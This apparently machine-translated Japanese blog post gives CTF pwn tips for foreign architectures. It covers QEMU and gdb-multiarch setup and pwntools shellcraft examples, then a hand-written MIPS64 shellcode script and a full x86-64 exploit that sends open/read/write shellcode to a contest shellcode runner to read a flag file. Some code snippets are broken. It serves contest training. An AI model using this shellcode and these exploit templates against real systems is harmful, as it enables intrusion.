ヘテロアーキテクチャ PWN-TIPS-01

  • 作者:ZERO-A-ONE
  • 日付:2022-08-20

0x1 環境設定

最も一般的に使用される 2 つのツールのうちの 1 つは QEMU で、もう 1 つは gdb-multiarch です。

1.1 QEMU

qemu は、汎用のオープンソース マシン エミュレーターおよび仮想マシンです。そのため、Linux オペレーティング システムにインストールして、他のアーキテクチャ プラットフォームでプログラムをデバッグするために使用できます。インストール方法は、次のコードに示されています。

sudo apt update
sudo apt install qemu qemu-system qemu-user

qemu をインストールすると、静的にリンクされた arm プログラムを直接実行できます. コマンドを使用して、qemu-arm prog32 ビットの arm プログラムを実行します (prog はプログラム名を指します)。ただし、ダイナミック リンク プログラムはまだ正常に動作しないため、この時点で、対応するアーキテクチャのダイナミック リンク ライブラリをインストールする必要があります。

コマンドを使用してapt-cache search "libc6" | grep -E "arm|mips"、利用可能なマルチアーキテクチャ ランタイム ライブラリを検索します
ここに画像の説明を挿入

libc6-*-crossのようなランタイム ライブラリをインストールするだけです。

次のコマンドでインストールします。

sudo apt-get install libc6-arm64-cross libc6-armel-cross libc6-armhf-cross libc6-mips-cross libc6-mips32-mips64-cross libc6-mips32-mips64el-cross libc6-mips64-cross libc6-mips64-mips-cross libc6-mips64-mipsel-cross libc6-mips64el-cross libc6-mipsel-cross libc6-mipsn32-mips-cross libc6-mipsn32-mips64-cross libc6-mipsn32-mips64el-cross libc6-mipsn32-mipsel-cross

Pwntoolsでコマンドを使用するとasm、次のエラーが報告される場合があります。

dpkg-query: 没有找到与 *bin/armeabi*linux*-as* 相匹配的路径
[ERROR] Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, endian = 'little', log_level = 10)
    Try installing binutils for this architecture:
    https://docs.pwntools.com/en/stable/install/binutils.html

この時点で、binutils の依存関係をインストールする必要があります。最初にコマンドを使用しますapt search binutils | grep [arch]([arch] をここで置き換えてください)。
ここに画像の説明を挿入

あとは表示されたパッケージをインストールして完了
ここに画像の説明を挿入

1.2 gdb マルチアーチ

次に、gdb-multiarch もインストールする必要があります

sudo apt update
sudo apt install gdb-multiarch

1.3 GEF のインストール

私たちが毎日使用する GDB プラグインはより pwndbg ですが、GEF は他のアーキテクチャをデバッグする場合により安定したプラグインです。

https://github.com/hugsy/gef

インストール方法は次のとおりです。

# via the install script
## using curl
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

## using wget
$ bash -c "$(wget https://gef.blah.cat/sh -O -)"

# or manually
$ wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit

# or alternatively from inside gdb directly
$ gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)

0x2 デバッグを有効にする

2.1 カーネルモード

例:

qemu-system-x86_64 \
-m 2G \
-kernel ./bzImage \
-drive file=./rootfs.img \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial nokaslr" \
-nographic \
-s

-kernel kernel-qemu: 起動時にロードされるカーネル ファイルのタイプを指定します。ここでは、ダウンロードされたカーネル イメージ タイプが使用されますkernel-qemu

-cpu arm1176: ここでシミュレートされた、起動に使用される CPU ファイルを指定しますARM1176 CPURaspberry PiボードBroadcom BCM2835にはこのプロセッサが搭載されていますARM1176JZ-F

-m 256: シミュレーション システムで使用できるメモリ サイズを指定します.ここでの RAM のサイズは 256MB です.256MB より大きい値に設定すると、ボードが起動できないようです.

-M versatilepb: シミュレートされた開発ボードのタイプを設定します。versatilepbはいARM Versatile Platform Board

-kernel kernel-qemu-4.4.34-jessie: 起動時にロードされるカーネル イメージを指定します。ここでは、ダウンロードされたカーネル イメージが使用されますkernel-qemu-4.4.34-jessie

-append "root=/dev/sda2": カーネルのコマンド ラインを指定します。

-hda 2013-09-25-wheezy-raspbian.imgHarddisk 0使用2013-09-25-wheezy-raspbian.img

2.2 ユーザーモード

ユーザーモードの起動は比較的簡単

以下は32ビットスタティックリンクアームアーキテクチャプログラムのデバッグ例です. まず, qemuの対応アーキテクチャのコマンドツールを使ってプログラムを起動します. サンプルプログラムはスタティックコンパイルなので, 指定したダイナミックリンクライブラリディレクトリは未使用-L

qemu-mips64 -g 8888 ./ShellcodeRunnerMIPS64 

次に、新しいターミナルを開き、gdb-multiarch を使用し、システム アーキテクチャを設定します。ビッグ エンディアンとスモール エンディアンの順序を設定し、ローカル デバッグ ポートに接続することもできます

gdb-multiarch -q ./ShellcodeRunnerMIPS64
set architecture mips64
set endian big
target remote localhost:8888

ここのコマンドを使用して、set architechtureすべてのアーキテクチャ オプションを表示します
ここに画像の説明を挿入

実際、多くの場合、アーキテクチャとエンディアンを手動で設定するのは最善ではなく、gdb-multiarch が自動的に設定します。

0x3 シェルコード

コンテストでは、さまざまなアーキテクチャでいくつかのシェルコードを作成する必要があることがよくありますが、幸いなことに、pwntools がシェルコード フレームワークを提供してくれるので、シェルコードを簡単に作成するのに役立ちます。

https://docs.pwntools.com/en/stable/shellcraft.html#module-pwnlib.shellcraft

現在、pwntools は以下のアーキテクチャを公式にサポートしています

  • AArch64
  • ADM64
  • インテル 80386
  • MIPS
  • 親指モード

それを使用する前に、コンテキストパラメータを設定することをお勧めします

context.arch="amd64"
context.endian='little'
context.log_level="debug"

3.1 API

シェルコード フレームワークには、特に便利な API がいくつか用意されています。たとえば、ファイルを cat したい場合は、直接

shellcraft.amd64.linux.cat('/flag')

そして、最も一般的に使用される mov 命令をシェルコードで記述します。

>>> print(shellcraft.amd64.mov('eax','ebx').rstrip())
    mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
    xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
    xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
    xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
    movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
    /* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
    movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
    push 1
    pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
    xor eax, eax
    mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
    xor eax, eax
    mov ax, 0xc0c0
>>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())
    mov edi, 0x1010101 /* 255 == 0xff */
    xor edi, 0x10101fe
>>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())
    mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
    xor eax, 0xdfac01fe
>>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())
    mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
    push rax
    mov rax, 0x1010110dfac01fe
    xor [rsp], rax
    pop rax
>>> print(shellcraft.amd64.mov('rax', 0xffffffff).rstrip())
    mov eax, 0xffffffff
>>> print(shellcraft.amd64.mov('rax', 0x7fffffff).rstrip())
    mov eax, 0x7fffffff
>>> print(shellcraft.amd64.mov('rax', 0x80010101).rstrip())
    mov eax, 0x80010101
>>> print(shellcraft.amd64.mov('rax', 0x80000000).rstrip())
    mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
    xor eax, 0x81010101
>>> print(shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip())
    push 0xffffffffffffffff
    pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
    xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
    push SYS_read /* 3 */
    pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rax

スタックを操作するときに最も一般的に使用されるプッシュ命令

>>> print(pwnlib.shellcraft.amd64.push(0).rstrip())
    /* push 0 */
    push 1
    dec byte ptr [rsp]
>>> print(pwnlib.shellcraft.amd64.push(1).rstrip())
    /* push 1 */
    push 1
>>> print(pwnlib.shellcraft.amd64.push(256).rstrip())
    /* push 0x100 */
    push 0x1010201 ^ 0x100
    xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
    /* push 'SYS_write' */
    push 1
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
    /* push 'SYS_write' */
    push 4

セットレジスタ

>>> print(shellcraft.setregs({
    
    'rax':1, 'rbx':'rax'}).rstrip())
    mov rbx, rax
    push 1
    pop rax
>>> print(shellcraft.setregs({
    
    'rax': 'SYS_write', 'rbx':'rax'}).rstrip())
    mov rbx, rax
    push SYS_write /* 1 */
    pop rax
>>> print(shellcraft.setregs({
    
    'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip())
    mov rcx, rbx
    xchg rax, rbx
>>> print(shellcraft.setregs({
    
    'rax':1, 'rdx':0}).rstrip())
    push 1
    pop rax
    cdq /* rdx=0 */

システムコール設定 syscall

>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())
    /* call execve(1, 'rsp', 2, 0) */
    xor r10d, r10d /* 0 */
    push SYS_execve /* 0x3b */
    pop rax
    push 1
    pop rdi
    push 2
    pop rdx
    mov rsi, rsp
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip())
    /* call execve(2, 1, 0, -1) */
    push -1
    pop r10
    push SYS_execve /* 0x3b */
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq /* rdx=0 */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())
    /* call syscall() */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())
    /* call syscall('rax', 'rdi', 'rsi') */
    /* setregs noop */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())
    /* call syscall('rbp', ?, ?, 1) */
    mov rax, rbp
    push 1
    pop rdx
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall(
...               'SYS_mmap', 0, 0x1000,
...               'PROT_READ | PROT_WRITE | PROT_EXEC',
...               'MAP_PRIVATE | MAP_ANONYMOUS',
...               -1, 0).rstrip())
    /* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop r10
    push -1
    pop r8
    xor r9d, r9d /* 0 */
    push SYS_mmap /* 9 */
    pop rax
    xor edi, edi /* 0 */
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rdx
    mov esi, 0x1010101 /* 4096 == 0x1000 */
    xor esi, 0x1011101
    syscall
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f6e
    xor [rsp], rax
    mov rax, 0x77702f656d6f682f
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
>>> print(shellcraft.amd64.write(0, '*/', 2).rstrip())
    /* write(fd=0, buf='\x2a/', n=2) */
    /* push b'\x2a/\x00' */
    push 0x1010101 ^ 0x2f2a
    xor dword ptr [rsp], 0x1010101
    mov rsi, rsp
    xor edi, edi /* 0 */
    push 2
    pop rdx
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall

ワンクリックで sh を取得することもできます

>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'

たとえば、最も単純なcat flagシェルコードを記述します

sc = shellcraft.amd64.linux.cat('/flag')
sc += shellcraft.amd64.linux.exit(0)
shellcode = asm(sc,arch='amd64')

その中で、shellcraft は対応するアセンブリ コードを生成し、asm はアセンブリ コードを対応するマシン コードに変換する役割を果たします。

p.sendlineafter("Shellcode >", shellcode)

3.2 マニュアル

しかし、私たちが KOH であったり、シェルコードの長さに制限がある場合、pwntools によって自動生成されるシェルコードは条件を満たしていません。多くの場合、シェルコードを手動で記述する必要があります

たとえば、次のようにします。

from signal import pause
from pwn import *
import sys

#p = process(["qemu-mips64","-g","1234","./ShellcodeRunnerMIPS64"])
p = process(["qemu-mips64","./ShellcodeRunnerMIPS64"])
pause()

context.update(arch='mips',bits=64,endian="big")
sc_push = asm('''
    li $t1, 0x2f666c61
    sw $t1, -8($sp)
    li $t9, ~0x67000000
    not $t1, $t9
    sw $t1, -4($sp)
    daddiu $sp, $sp, -8
''',arch='mips64')

sc_open = asm('''
    dadd $a0, $sp, $0 
    slti $a1, $zero, 0xFFFF
''',arch='mips64')

sc_call_open = asm('''
    ori $v0, $zero, 0x138a
    syscall
''',arch='mips64')

sc_send = asm('''
    li $t9, ~1
    not $a0, $t9
    sw $v0, -4($sp) 
    lw $a1, -4($sp)
    slti $a2, $zero, 0xFFFF 
    li $a3, 0x7fffffff
''',arch='mips64')

sc_call_send = asm('''
    ori $v0, $zero, 0x13af
    syscall 
''',arch='mips64')

mips64_bytes = sc_push + sc_open + sc_call_open + sc_send + sc_call_send

print(len(mips64_bytes))

p.sendlineafter("Shellcode >", sc)
p.recv()
p.interactive()

手書きアセンブリのちょっとしたコツとしては、対応するアーキテクチャのクロスコンパイラを使ってC言語で書き、IDAなどを使ってコンパイラからバイナリファイルを開き、どのアセンブリコードかを推測する方法があります。

C言語で書かれた各種アーキテクチャのアセンブリコードをリアルタイムで閲覧できるサイトもこちら:

https://gcc.godbolt.org/

3.3 ポリシェル

ここでは、KOH でよく使用される、1 つのペイロードで複数のアーキテクチャを再生するためのテクニックも提供します。

https://sectt.github.io/writeups/MidnightSun19/misc_polyshell/README

0x4 経験値

EXPを書くための一般的なテンプレートがあります

# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"

def debug(addr=-1,PIE=True):
    if addr == -1:
        gdb.attach(p)
    else:
        if PIE:
            #text_base = int(os.popen("pmap {}| awk '{
    
    {print $1}}'".format(p.pid)).setvbuflines()[1], 16)
            #gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
            gdb.attach(p,"b *$rebase({})".format(hex(addr)))
        else:
            gdb.attach(p,"b *{}".format(hex(addr))) 


def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./ShellCodeRunnerX64")
        # p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
        # debug(0x000000000000000)

    p.interactive()
    

if __name__ == "__main__":
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    main(args["REMOTE"])

実際、コンテキストで設定できる属性パラメータはたくさんありますので、詳しくは PWNTOOLS が提供するマニュアルを参照してください。

https://docs.pwntools.com/en/stable/context.html

それからCTFでは、ブラストを防ぐためにPOWメカニズムが追加されることが多く、最初にPOW検証に合格する必要があります

import random
from hashlib import sha256
while True:xs
	sol = random.randbytes(4)
	if sha256(chal + sol).hexdigest().startswith('00000'):
		print(sol.hex())
		break
# soll = ""
# for i in sol:
#   soll += hex(ord(i))[2:].rjust(2,'0')
sol = sol.hex()
soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
p.send(sol)

最後の完全な EXP は次のようになります

# -*- coding: utf-8 -*-
from pwn import *
import hashlib

import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"

def debug(addr=-1,PIE=True):
    if addr == -1:
        gdb.attach(p)
    else:
        if PIE:
            #text_base = int(os.popen("pmap {}| awk '{
    
    {print $1}}'".format(p.pid)).setvbuflines()[1], 16)
            #gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
            gdb.attach(p,"b *$rebase({})".format(hex(addr)))
        else:
            gdb.attach(p,"b *{}".format(hex(addr))) 


def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./ShellCodeRunnerX64")
        # p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
        # debug(0x000000000000000)
    p.recvuntil(b"chal:")
    p.recvuntil(b"chal:")
    chal = p.recvline()[1:-1]
    print(b'cha',chal)
    
    # strr = ""
    # for i in range(0,256):
    #   strr+=chr(i)
    
    # sol = ""
    # for i in strr:
    #   for j in strr:
    #       for k in strr:
    #           for l in strr:
    #               sol = i+j+k+l
    #               if hashlib.sha256(chal + sol).hexdigest().startswith('00000'):
    #                   break
    # soll = ""
    # for i in sol:
    #   soll += hex(ord(i))[2:].rjust(2,'0')
    # p.send(soll)
    import random
    from hashlib import sha256
    while True:
        sol = random.randbytes(4)
        if sha256(chal + sol).hexdigest().startswith('00000'):
            print(sol.hex())
            break
    # soll = ""
    # for i in sol:
    #   soll += hex(ord(i))[2:].rjust(2,'0')
    sol = sol.hex()
    soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
    p.send(sol)


    #debug(0x080497B3, PIE=False)
    p.sendlineafter(b"Input your team token", b"xxxxxxx")
    shellcode = asm('''
        mov rax,0x67616c662f
        push rax
        mov rdi,rsp
        xor rsi,rsi
        mov eax,2
        syscall         
        //open("./flag",0)

        mov rdi,rax
        mov rsi,rsp
        mov rdx,0x100
        mov eax,0
        syscall         
        //read(3,rsp,0x100)
        
        mov rdi,1
        mov rsi,rsp
        mov rdx,0x100
        mov eax,1
        syscall         
        //write(1,rsp,0x100)
        mov rax, 0x3c
        mov rdi, 0
        syscall

        ''',arch='amd64')
    # sh = ""
   
    # for i in shellcode:

    p.sendafter(b"Input your mimic shellcode (0x1000 max, hex, end with '\\n')>",shellcode.hex()+"\n")
    #p.sendlineafter("Shellcode >", shellcode)

    #debug()
    #p.recv()

    
    p.interactive()
    

if __name__ == "__main__":
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    main(args["REMOTE"])

参考文献

おすすめ

転載: blog.csdn.net/kelxLZ/article/details/126643909